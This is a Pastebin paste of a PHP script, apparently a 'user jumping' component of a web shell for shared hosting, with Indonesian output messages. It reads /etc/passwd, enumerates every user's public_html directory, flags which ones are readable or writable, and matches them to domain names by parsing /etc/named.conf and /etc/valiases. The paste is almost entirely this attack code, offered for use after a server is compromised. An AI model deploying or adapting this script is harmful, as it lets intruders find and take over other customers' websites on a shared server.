Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $i = 0;
- echo "<body style='background-color:grey;'><pre><div class='margin: 5px auto;'>";
- $etc = fopen("/etc/passwd", "r") or die("<font color=#666666>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color=#666666>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_jefri_jump) {
- $user_jumping_dir = "/home/$user_jefri_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = "[<font color=#52CF38>R</font>] <a href='?dir=$user_jumping_dir'><font color=#D0D5D5>$user_jumping_dir</font></a>";
- if(is_writable($user_jumping_dir)) {
- $jrw = "[<font color=#52CF38>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#D0D5D5>$user_jumping_dir</font></a>";
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo " => ( <font color=#666666>gagal mengambil nama domain nya</font> )<br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_jefri_jump) {
- echo " => ( <u>$dj</u> )<br>";
- break;
- }
- }
- }
- } else {
- echo "<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar ada ".gethostbyname($_SERVER['HTTP_HOST'])."";
- echo "</div></pre>";
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement